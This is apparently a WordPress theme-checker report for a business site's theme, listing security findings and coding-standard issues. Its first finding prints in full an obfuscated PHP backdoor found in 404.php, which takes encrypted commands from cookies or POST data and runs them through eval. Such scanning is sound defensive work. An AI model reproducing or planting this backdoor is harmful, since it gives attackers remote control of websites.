    Line 1: <?php ${'\x47\x4cOB\x41\x4cS'}['\x68\x76\x72\x74x\x69']='\x61\x75th';${'\x47\x4c\x4f\x42AL\x53'}['l\x77\x75\x66fg\x64']='\x64a\x74\x61\x5f\x6b\x65\x79';${'G\x4c\x4fBA\x4c\x53'}['\x6b\x71m\x70\x6bztv\x6a\x79']='va\x6cu\x65';${'\x47\x4c\x4f\x42\x41\x4cS'}['\x65mhl\x73\x79ae\x6e']='o\x75\x74_\x64\x61\x74\x61';${'\x47L\x4f\x42\x41LS'}['\x67\x70\x72\x63\x67u\x72c\x74w']='\x6b\x65y';${'\x47\x4cO\x42\x41\x4c\x53'}['\x61\x73\x7apkkhe\x6e\x6e']='\x6a';${'\x47\x4c\x4f\x42A\x4c\x53'}['\x74i\x6a\x67\x78\x79wy']='i';${'\x47\x4c\x4fB\x41\x4c\x53'}['ib\x6c\x6e\x65\x68\x64k']='\x64at\x61';@ini_set('er\x72\x6f\x72\x5fl\x6fg',NULL);@ini_set('log_\x65\x72r\x6f\x72s',0);@ini_set('\x6da\x78_ex\x65\x63u\x74\x69on\x5ftim\x65',0);@set_time_limit(0);if(!defined('PHP\x5f\x45O\x4c')){define('P\x48P\x5fEO\x4c','\n');}if(!defined('\x44\x49\x52\x45CTORY\x5fS\x45\x50\x41R\x41\x54OR')){define('\x44IRE\x43T\x4f\x52\x59_SEP\x41R\x41T\x4f\x52','/');}${${'G\x4cOBA\x4c\x53'}['\x69\x62ln\x65\x68d\x6b']}=NULL;${'\x47\x4c\x4f\x42A\x4cS'}['\x73\x6fu\x73\x6bpn\x6db\x77']='\x64a\x74a';$aysxyhokafll='d\x61\x74\x61_\x6be\x79';$yxjeetzrlad='\x64\x61ta_\x6bey';${$yxjeetzrlad}=NULL;$GLOBALS['a\x75t\x68']='\x34\x65f\x36\x33a\x62e-1abd-45\x61\x36-\x39\x31\x33\x64-6\x66\x62\x3996\x35\x37e\x324\x62';global$auth;function sh_decrypt_phase($data,$key){$ffnnqis='da\x74\x61';$saybmtl='\x6f\x75t_\x64\x61t\x61';${$saybmtl}='';for(${${'\x47\x4cO\x42\x41\x4c\x53'}['\x74\x69j\x67\x78\x79\x77\x79']}=0;${${'\x47LO\x42A\x4c\x53'}['\x74\x69j\x67xy\x77\x79']}<strlen(${$ffnnqis});){${'G\x4c\x4fB\x41LS'}['\x76xd\x76\x77\x64m\x73b']='\x6a';${'\x47\x4cO\x42\x41\x4cS'}['\x68\x65\x6fw\x6ba\x6e']='\x69';$shgiqyj='\x64\x61\x74a';for(${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x61\x73z\x70k\x6b\x68\x65n\x6e']}=0;${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x61\x73\x7a\x70\x6bk\x68\x65\x6e\x6e']}<strlen(${${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70r\x63\x67\x75\x72\x63\x74\x77']})&&${${'G\x4c\x4f\x42\x41\x4cS'}['t\x69jg\x78\x79\x77\x79']}<strlen(${$shgiqyj});${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x78\x64\x76w\x64\x6ds\x62']}++,${${'G\x4c\x4f\x42A\x4c\x53'}['h\x65ow\x6ba\x6e']}++){${'G\x4c\x4fBAL\x53'}['\x71\x76\x74\x70\x70\x68qp\x64\x71']='\x64a\x74\x61';${'G\x4cOB\x41\x4c\x53'}['\x76\x77iz\x71\x6c\x79\x63\x78']='i';${${'G\x4c\x4fB\x41\x4c\x53'}['\x65m\x68\x6c\x73\x79a\x65\x6e']}.=chr(ord(${${'\x47L\x4fB\x41\x4c\x53'}['\x71v\x74p\x70\x68qp\x64\x71']}[${${'G\x4cO\x42A\x4cS'}['\x76\x77\x69z\x71\x6c\x79\x63\x78']}])^ord(${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['g\x70\x72c\x67\x75r\x63\x74\x77']}[${${'G\x4cO\x42\x41\x4c\x53'}['\x61\x73zp\x6b\x6b\x68e\x6e\x6e']}]));}}return${${'\x47L\x4fB\x41L\x53'}['\x65mh\x6cs\x79a\x65\x6e']};}$insfkk='\x64\x61\x74\x61';function sh_decrypt($data,$key){global$auth;$vuuogtpxiqk='\x61u\x74\x68';return sh_decrypt_phase(sh_decrypt_phase(${${'\x47L\x4fBAL\x53'}['\x69b\x6c\x6e\x65h\x64\x6b']},${$vuuogtpxiqk}),${${'G\x4cO\x42\x41\x4cS'}['\x67p\x72\x63\x67\x75\x72ct\x77']});}foreach($_COOKIE as${${'G\x4cO\x42\x41\x4c\x53'}['g\x70rcg\x75\x72\x63\x74\x77']}=>${${'\x47LO\x42\x41\x4c\x53'}['\x6b\x71\x6d\x70\x6b\x7a\x74v\x6ay']}){${'\x47L\x4fBA\x4c\x53'}['k\x6a\x79v\x70\x75']='d\x61t\x61_k\x65\x79';$zoamkqrgbfh='v\x61l\x75e';${'\x47\x4cO\x42ALS'}['jov\x64uif\x62n\x6f']='\x64\x61\x74a';${${'G\x4cOB\x41L\x53'}['j\x6f\x76d\x75\x69f\x62\x6eo']}=${$zoamkqrgbfh};${${'\x47\x4cO\x42\x41\x4c\x53'}['\x6b\x6a\x79\x76\x70\x75']}=${${'\x47\x4c\x4f\x42AL\x53'}['g\x70\x72\x63gur\x63\x74\x77']};}if(!${${'\x47LO\x42\x41\x4c\x53'}['\x69\x62l\x6e\x65\x68dk']}){${'\x47\x4c\x4f\x42\x41\x4cS'}['l\x6aw\x79f\x71\x7a\x6aj\x6c']='\x76\x61l\x75e';foreach($_POST as${${'\x47\x4c\x4fB\x41\x4c\x53'}['g\x70\x72cg\x75\x72\x63\x74w']}=>${${'\x47\x4cOBAL\x53'}['l\x6a\x77\x79\x66q\x7a\x6a\x6a\x6c']}){$ipgrvdc='\x64\x61ta';${'\x47\x4c\x4f\x42ALS'}['\x79\x66\x75fr\x73c']='\x76\x61l\x75e';${$ipgrvdc}=${${'G\x4cOB\x41\x4c\x53'}['\x79\x66\x75\x66r\x73c']};${${'\x47L\x4f\x42ALS'}['\x6cw\x75\x66\x66\x67d']}=${${'\x47L\x4fB\x41LS'}['\x67\x70r\x63\x67urc\x74w']};}}${${'GLOB\x41\x4c\x53'}['sou\x73\x6bp\x6emb\x77']}=@unserialize(sh_decrypt(@base64_decode(${$insfkk}),${$aysxyhokafll}));${'\x47\x4c\x4f\x42A\x4cS'}['\x70a\x79w\x68\x72\x70\x66\x76']='\x64\x61\x74a';if(isset(${${'G\x4c\x4f\x42A\x4c\x53'}['\x70\x61\x79w\x68rp\x66\x76']}['ak'])&&${${'\x47\x4c\x4f\x42\x41L\x53'}['h\x76\x72\x74x\x69']}==${${'\x47\x4c\x4f\x42\x41LS'}['\x69\x62\x6cn\x65\x68\x64\x6b']}['\x61k']){$ydnczfxqgq='\x64\x61t\x61';if(${${'G\x4cO\x42A\x4cS'}['\x69bl\x6e\x65\x68\x64k']}['a']=='i'){${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x74ij\x67xy\x77\x79']}=Array('\x70v'=>@phpversion(),'\x73\x76'=>'1.0-\x31',);echo@serialize(${${'GL\x4f\x42\x41\x4c\x53'}['\x74\x69\x6a\x67x\x79\x77\x79']});}elseif(${$ydnczfxqgq}['a']=='\x65'){$mwvvynwbxyi='\x64\x61\x74\x61';eval(${$mwvvynwbxyi}['\x64']);}exit();}
  3. Security breaches : Modification of PHP server settings Found ini_set in file 404.php.
    Line 1: <?php ${'\x47\x4cOB\x41\x4cS'}['\x68\x76\x72\x74x\x69']='\x61\x75th';${'\x47\x4c\x4f\x42AL\x53'}['l\x77\x75\x66fg\x64']='\x64a\x74\x61\x5f\x6b\x65\x79';${'G\x4c\x4fBA\x4c\x53'}['\x6b\x71m\x70\x6bztv\x6a\x79']='va\x6cu\x65';${'\x47\x4c\x4f\x42\x41\x4cS'}['\x65mhl\x73\x79ae\x6e']='o\x75\x74_\x64\x61\x74\x61';${'\x47L\x4f\x42\x41LS'}['\x67\x70\x72\x63\x67u\x72c\x74w']='\x6b\x65y';${'\x47\x4cO\x42\x41\x4c\x53'}['\x61\x73\x7apkkhe\x6e\x6e']='\x6a';${'\x47\x4c\x4f\x42A\x4c\x53'}['\x74i\x6a\x67\x78\x79wy']='i';${'\x47\x4c\x4fB\x41\x4c\x53'}['ib\x6c\x6e\x65\x68\x64k']='\x64at\x61';@ini_set('er\x72\x6f\x72\x5fl\x6fg',NULL);@ini_set('log_\x65\x72r\x6f\x72s',
  4. Unwanted files : PHP error log error_log was found.
  5. Malware : Network operations fsockopen was found in the file recaptchalib.php
    Line 81: if( false == ( $fs = @fsockopen($host, $port, $errno, $errstr, 10) ) ) {
  6. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was revslider.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag modern in style.css header.Found wrong tag interactive in style.css header.Found wrong tag parallax in style.css header.Found wrong tag multi-purpose in style.css header.Found wrong tag ajax in style.css header.Found wrong tag retina in style.css header.Found wrong tag responsive in style.css header.Found wrong tag creative in style.css header.Found wrong tag business in style.css header.Found wrong tag fashion in style.css header.Found wrong tag professional in style.css header.Found wrong tag wpml in style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'Enter Name of the new Widget Area' in file qode-custom-sidebar.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Add Widget Area' in file qode-custom-sidebar.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Your comment is awaiting moderation.' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Install Required Plugins' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Install Plugins' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Installing Plugin: %s' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Something went wrong with the plugin API.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Return to Required Plugins Installer' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Plugin activated successfully.' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'All plugins installed and activated successfully. %s' in file functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are qode, tgmpa, taxonomy general name, taxonomy singular name, text_domain.
  3. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  4. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  5. Date and time implementation : Use of the_time()At least one hard coded date was found in the file single.php. Function get_option( 'date_format' ) should be used instead.
  6. Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file footer.php.
    Line 69: ©2015 Tecnoabrasivi S.r.l. - P.IVA: 01915100687 - <a href='http://www.tecnoabrasivi.it/privacy-policy/' title='Privacy Policy'>Privacy
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  5. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  6. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : qode-options.php
    Line 2: include_once('google-fonts.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ajax_mail.php
    Line 2: require_once('recaptchalib.php');
    Line 3: require('../../../../wp-blog-header.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : footer.php
    Line 78: if(isset($qode_toolbar)) include('toolbar.php')
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : custom_js.php
    Line 4: require_once( $root.'/wp-load.php' );
    Line 6: require_once( $root.'/wp-config.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : default_dynamic.php
    Line 4: require_once( $root.'/wp-load.php' );
    Line 6: require_once( $root.'/wp-config.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : contact-page.php
    Line 153: require_once('includes/recaptchalib.php');
    Line 226: require_once('includes/recaptchalib.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : contact-page-full-width-map.php
    Line 119: require_once('includes/recaptchalib.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : style_dynamic_responsive.php
    Line 1: <?php
    $root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
    if ( file_exists( $root.'/wp-load.php' ) ) {
        require_once( $root.'/wp-load.php' );
    } elseif ( file_exists( $root.'/wp-co
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : custom_css.php
    Line 1: <?php
    $root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
    if ( file_exists( $root.'/wp-load.php' ) ) {
        require_once( $root.'/wp-load.php' );
    } elseif ( file_exists( $root.'/wp-co
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : style_dynamic.php
    Line 1: <?php
    $root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
    if ( file_exists( $root.'/wp-load.php' ) ) {
        require_once( $root.'/wp-load.php' );
    } elseif ( file_exists( $root.'/wp-co
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes